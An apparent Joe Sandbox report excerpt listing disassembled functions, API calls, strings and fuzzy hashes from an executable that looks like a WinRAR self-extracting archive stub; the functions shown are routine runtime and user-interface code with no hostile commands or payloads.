SystemTimeToFileTime.KERNEL32(?,?), ref: 00911294
FileTimeToSystemTime.KERNEL32(?,?,?), ref: 009112CF
__aullrem.LIBCMT ref: 00911379

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion__aulldiv__aullrem
String ID:
API String ID: 1247370737-0
Opcode ID: 7101a72946e90196454d2647a166ed48bb6b305df3a18d2cdfe02c0c74c0af26
Instruction ID: 8d30b11147bd1f3e74b72918472cedda55c5daff2324fb9762e811e10f45dce7
Opcode Fuzzy Hash: 7101a72946e90196454d2647a166ed48bb6b305df3a18d2cdfe02c0c74c0af26
Instruction Fuzzy Hash: A041F8B1548309AFC714DF65C8849ABBBE9FF88314F00892EF596C2650E738E649DF51

Function 00902210 Relevance: 11.0, APIs: 3, Strings: 3, Instructions: 468COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00902536

Part of subcall function 00904092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 009040A5

Part of subcall function 009105DA: _wcslen.LIBCMT ref: 009105E0

Strings

;%u, xrefs: 00902523
xc%u, xrefs: 0090275A
x%u, xrefs: 009026FD

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: __vswprintf_c_l_swprintf_wcslen
String ID: ;%u$x%u$xc%u
API String ID: 3053425827-2277559157
Opcode ID: 952fa24c76272a0b9d6a3dc2f30fbdd618d37270f1d6ae01faff1c67d6c788ef
Instruction ID: b85d35a7b3fe0ea840d827f7a0f8df19ae2d4b264e2da54869766a40b9df9e19
Opcode Fuzzy Hash: 952fa24c76272a0b9d6a3dc2f30fbdd618d37270f1d6ae01faff1c67d6c788ef
Instruction Fuzzy Hash: 60F1D5B16043409FDB25DB28C499BFE779A5FD4300F084A69FDCA9B2C3CB649949C762

Function 00919CFE Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00919D0A

Strings

<style>, xrefs: 00919E30
>, xrefs: 00919D4B
</style>, xrefs: 00919E52
</p>, xrefs: 00919DE8
<br>, xrefs: 00919DFE

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: _wcslen
String ID: </p>$</style>$<br>$<style>$>
API String ID: 176396367-3568243669
Opcode ID: 1dcbd5a883e39e3912cd0fb426f3953d1c8166d6195513a7949e4a1682d13b20
Instruction ID: b9366d3a0abbc01191d86e5f0666863c0c02125f9e9a3e0b8310c605c62434cc
Opcode Fuzzy Hash: 1dcbd5a883e39e3912cd0fb426f3953d1c8166d6195513a7949e4a1682d13b20
Instruction Fuzzy Hash: 42510B6A74032B95DB349A25EC327F673E9DFA1750F69041AFDC18B2C0FB658DC18261

Function 0092F68D Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,0092FE02,00000000,00000000,00000000,00000000,00000000,?), ref: 0092F6CF
__fassign.LIBCMT ref: 0092F74A
__fassign.LIBCMT ref: 0092F765
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,00000000,00000005,00000000,00000000), ref: 0092F78B
WriteFile.KERNEL32(?,00000000,00000000,0092FE02,00000000,?,?,?,?,?,?,?,?,?,0092FE02,00000000), ref: 0092F7AA
WriteFile.KERNEL32(?,00000000,00000001,0092FE02,00000000,?,?,?,?,?,?,?,?,?,0092FE02,00000000), ref: 0092F7E3

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 7ed9157781fd0779bdc846aa8d343a926585f3499faa2ec924e53553097d3cff
Instruction ID: 5293531efb052fc7dee721015048d5f49bce42c7010ef64e5979016baef253dd
Opcode Fuzzy Hash: 7ed9157781fd0779bdc846aa8d343a926585f3499faa2ec924e53553097d3cff
Instruction Fuzzy Hash: 635194B1D042599FCB14CFA8EC55AEEFBF8EF09300F14416AE556E7255E670A940CBA0

Function 00922900 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00922937
___except_validate_context_record.LIBVCRUNTIME ref: 0092293F
_ValidateLocalCookies.LIBCMT ref: 009229C8
__IsNonwritableInCurrentImage.LIBCMT ref: 009229F3
_ValidateLocalCookies.LIBCMT ref: 00922A48

Strings

csm, xrefs: 009229DD

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: a8e575f73a213e1d75dc6a96136c370f865877d03139df4df213c38cc55db0c9
Instruction ID: 7af7e1dc26f956c3398e0a76dc5ba03ac4c10cacdee55f8eff8ef65d7b6a9da8
Opcode Fuzzy Hash: a8e575f73a213e1d75dc6a96136c370f865877d03139df4df213c38cc55db0c9
Instruction Fuzzy Hash: 9B41B334A00228BFCF10EF68D885A9EBBF5EF85324F148065E815AB396D735DA45CF91

Function 00919ED5 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,00000000), ref: 00919EEE
GetWindowRect.USER32(?,00000000), ref: 00919F44
ShowWindow.USER32(?,00000005,00000000), ref: 00919FDB
SetWindowTextW.USER32(?,00000000), ref: 00919FE3
ShowWindow.USER32(00000000,00000005), ref: 00919FF9

Strings

RarHtmlClassName, xrefs: 00919FA5

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: Window$Show$RectText
String ID: RarHtmlClassName
API String ID: 3937224194-1658105358
Opcode ID: d4bacae031ee0a0a418614ea14686db5be921e3641508fcce7b81282d19c0f46
Instruction ID: 27b8b71b8ea80af621d99c62c608737bcfe56ab938da4a4fd05241488cddd272
Opcode Fuzzy Hash: d4bacae031ee0a0a418614ea14686db5be921e3641508fcce7b81282d19c0f46
Instruction Fuzzy Hash: 0241023120C218BFCB215F64DC48BABBBA8FF4A741F018518F84999156CB74DE49DB65

Function 00919955 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 106COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0091995E
_wcslen.LIBCMT ref: 00919993

Strings

 , xrefs: 00919A21
<style>body{font-family:"Arial";font-size:12;}</style>, xrefs: 00919987
, xrefs: 009199B0
<br>, xrefs: 009199DF

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: _wcslen
String ID: $ $<br>$<style>body{font-family:"Arial";font-size:12;}</style>
API String ID: 176396367-3743748572
Opcode ID: 140ac53adfad2d3e85d05bd3322625f620ab5e84f97c71b31f92013a4fde7ef7
Instruction ID: d4064aeb57cde6dcbdf4b44c083aca2bfa71eee9e4b24282630f8f9ac5c9a799
Opcode Fuzzy Hash: 140ac53adfad2d3e85d05bd3322625f620ab5e84f97c71b31f92013a4fde7ef7
Instruction Fuzzy Hash: 78313E3274435956DA30AF54AC52BF673A8EFD0720F60841EF48657280FA54BEC983A1

Function 0092C8A4 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0092C868: _free.LIBCMT ref: 0092C891

_free.LIBCMT ref: 0092C8F2

Part of subcall function 00928DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,0092C896,?,00000000,?,00000000,?,0092C8BD,?,00000007,?,?,0092CCBA,?), ref: 00928DE2
Part of subcall function 00928DCC: GetLastError.KERNEL32(?,?,0092C896,?,00000000,?,00000000,?,0092C8BD,?,00000007,?,?,0092CCBA,?,?), ref: 00928DF4

_free.LIBCMT ref: 0092C8FD
_free.LIBCMT ref: 0092C908
_free.LIBCMT ref: 0092C95C
_free.LIBCMT ref: 0092C967
_free.LIBCMT ref: 0092C972
_free.LIBCMT ref: 0092C97D

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: bf1448b5a367794c459becf00bdc5ad94e8d71ea07fb2ac2ae3d8aaabc3cc25b
Instruction ID: 3c0dfb6138e91cd9f92a1f2b68651aced76e0d28f0af1a4cdb420da0f5409db6
Opcode Fuzzy Hash: bf1448b5a367794c459becf00bdc5ad94e8d71ea07fb2ac2ae3d8aaabc3cc25b
Instruction Fuzzy Hash: 451133B1581B24BAE520B7B1EC0BFCF7BAC9F84B00F508C15B29D660E6DA75B5098B50

Function 0091E5EE Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 45libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,?,0091E669,0091E5CC,0091E86D), ref: 0091E605
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 0091E61B
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 0091E630

Strings

ReleaseSRWLockExclusive, xrefs: 0091E625
KERNEL32.DLL, xrefs: 0091E600
AcquireSRWLockExclusive, xrefs: 0091E615

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 667068680-1718035505
Opcode ID: 01dd19e35c685e15a15d2b8477c8b01802a544d14ade662547a367fcb65706ba
Instruction ID: 1695366888b60e7969f04a5606bafd1eb164810d6be2f5edfe998a28a2a521ae
Opcode Fuzzy Hash: 01dd19e35c685e15a15d2b8477c8b01802a544d14ade662547a367fcb65706ba
Instruction Fuzzy Hash: 0CF02B317952269B8F214F745C889EE22CD6E697C5385443DED46D3110EB58CCD0BF90

Function 0091146A Relevance: 9.1, APIs: 6, Instructions: 98timeCOMMON

Download Yara Rule

APIs

SystemTimeToFileTime.KERNEL32(?,?), ref: 009114C2

Part of subcall function 0090B146: GetVersionExW.KERNEL32(?), ref: 0090B16B

LocalFileTimeToFileTime.KERNEL32(?,?), ref: 009114E6
FileTimeToSystemTime.KERNEL32(?,?), ref: 00911500
TzSpecificLocalTimeToSystemTime.KERNEL32(00000000,?,?), ref: 00911513
SystemTimeToFileTime.KERNEL32(?,?), ref: 00911523
SystemTimeToFileTime.KERNEL32(?,?), ref: 00911533

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: 54cab33aee53f46a65611ab1bb7b8c034a9511dc229a4bf86e93f32cceab18a5
Instruction ID: 8ad2a8198b731b6ea93d261816d70dc9fa9b194771fcd0d52036dff609b345b4
Opcode Fuzzy Hash: 54cab33aee53f46a65611ab1bb7b8c034a9511dc229a4bf86e93f32cceab18a5
Instruction Fuzzy Hash: CC31D775118346ABC704DFA8C88499BB7E8BF98714F008A1EF995C3210E734D549CBA6

Function 00922AFA Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00922AF1,009202FC,0091FA34), ref: 00922B08
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00922B16
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00922B2F
SetLastError.KERNEL32(00000000,00922AF1,009202FC,0091FA34), ref: 00922B81

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 18f4fbc5f4ecca807f344db9e534a70a4cd4e2ff56955c060d147d595caf628f
Instruction ID: 92fec404ad3c7eceba38ed24f76afa879afb8e6948c2a64c268083ffb92061ba
Opcode Fuzzy Hash: 18f4fbc5f4ecca807f344db9e534a70a4cd4e2ff56955c060d147d595caf628f
Instruction Fuzzy Hash: 8F01F23266E3327EAA242B757C89B2B2B5DEF92B74B70473AF510550E8EF154D00AA44

Function 009297E5 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00941030,00924674,00941030,?,?,00923F73,00000050,?,00941030,00000200), ref: 009297E9
_free.LIBCMT ref: 0092981C
_free.LIBCMT ref: 00929844
SetLastError.KERNEL32(00000000,?,00941030,00000200), ref: 00929851
SetLastError.KERNEL32(00000000,?,00941030,00000200), ref: 0092985D
_abort.LIBCMT ref: 00929863

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: 9e230a3e97bdf2ce2ed441f51d3a0623fb12506d3ef4d509eb0d7d180ec9fe6a
Instruction ID: 52ba6d069ce79f1e3f88317ceaa366e5ac754ff7b9a5a3b06d38322b60ac0cc5
Opcode Fuzzy Hash: 9e230a3e97bdf2ce2ed441f51d3a0623fb12506d3ef4d509eb0d7d180ec9fe6a
Instruction Fuzzy Hash: 8AF0283614863167C7123334BC0AB1B1A69DFD2770F290024F614961DEEE34880A5925

Function 0091DC3B Relevance: 9.0, APIs: 6, Instructions: 42windowsynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,0000000A), ref: 0091DC47
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0091DC61
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0091DC72
TranslateMessage.USER32(?), ref: 0091DC7C
DispatchMessageW.USER32(?), ref: 0091DC86
WaitForSingleObject.KERNEL32(?,0000000A), ref: 0091DC91

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: Message$ObjectSingleWait$DispatchPeekTranslate
String ID:
API String ID: 2148572870-0
Opcode ID: d98189b7ddc9adcb8e9c8934288c3215fd6f169eccfd59fe9afe7ad49ad2f00b
Instruction ID: 1b83abb090edfb47d81c9f859d04ed138663634a2b0174419adbc99793a65a1e
Opcode Fuzzy Hash: d98189b7ddc9adcb8e9c8934288c3215fd6f169eccfd59fe9afe7ad49ad2f00b
Instruction Fuzzy Hash: DFF03C72B05219BBCB206BA5DD4CDCB7F6DEF42791B008411F50AD2050D675868ADBE0

Function 0090C0C5 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 148COMMON

Download Yara Rule

APIs

Part of subcall function 009105DA: _wcslen.LIBCMT ref: 009105E0

Part of subcall function 0090B92D: _wcsrchr.LIBVCRUNTIME ref: 0090B944

_wcslen.LIBCMT ref: 0090C197
_wcslen.LIBCMT ref: 0090C1DF

Strings

.exe, xrefs: 0090C10B
.rar, xrefs: 0090C0E1, 0090C134
.sfx, xrefs: 0090C11A

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: _wcslen$_wcsrchr
String ID: .exe$.rar$.sfx
API String ID: 3513545583-31770016
Opcode ID: e693f18cf79c762d2dde300d7c6d2bc4fb023a64fb12dde562cee27a7554ece0
Instruction ID: 04defec1ca34ce5c91ecd3c2816710e0525351cf6f328e4f8561f51bf8ce36f6
Opcode Fuzzy Hash: e693f18cf79c762d2dde300d7c6d2bc4fb023a64fb12dde562cee27a7554ece0
Instruction Fuzzy Hash: E9411561544315EECB31AF648842B7A73B8EF80744F104A0EF9916B5C1EB658DC2C391

Function 0091CE87 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000800,?), ref: 0091CE9D

Part of subcall function 0090B690: _wcslen.LIBCMT ref: 0090B696

_swprintf.LIBCMT ref: 0091CED1

Part of subcall function 00904092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 009040A5

SetDlgItemTextW.USER32(?,00000066,0094946A), ref: 0091CEF1
EndDialog.USER32(?,00000001), ref: 0091CFFE

Strings

%s%s%u, xrefs: 0091CEC6

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: DialogItemPathTempText__vswprintf_c_l_swprintf_wcslen
String ID: %s%s%u
API String ID: 110358324-1360425832
Opcode ID: 97f3a9baec5c63aa1362e700d27b71b9cf0810a1210da786715dee8bc2ad994f
Instruction ID: 3ff2bba907e6de2f814a84139aaa2554e4d7c7861b7381d3993ea09da66abb5c
Opcode Fuzzy Hash: 97f3a9baec5c63aa1362e700d27b71b9cf0810a1210da786715dee8bc2ad994f
Instruction Fuzzy Hash: DA41A0B1A4061CAADF209B90CC41FEE77BCEB45344F4080A6FA09E7191EB758E85DF61

Function 0090BB03 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 127COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0090BB27
GetCurrentDirectoryW.KERNEL32(000007FF,?,?,?,?,00000000,?,?,0090A275,?,?,00000800,?,0090A23A,?,0090755C), ref: 0090BBC5
_wcslen.LIBCMT ref: 0090BC3B

Strings

\\?\, xrefs: 0090BB52, 0090BB99, 0090BBF7, 0090BC4E
UNC, xrefs: 0090BBA7

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: _wcslen$CurrentDirectory
String ID: UNC$\\?\
API String ID: 3341907918-253988292
Opcode ID: f08a8bc9e9b8448b5372da9446c7b3415753fbfa5b424dd11f9b7ae570c357a5
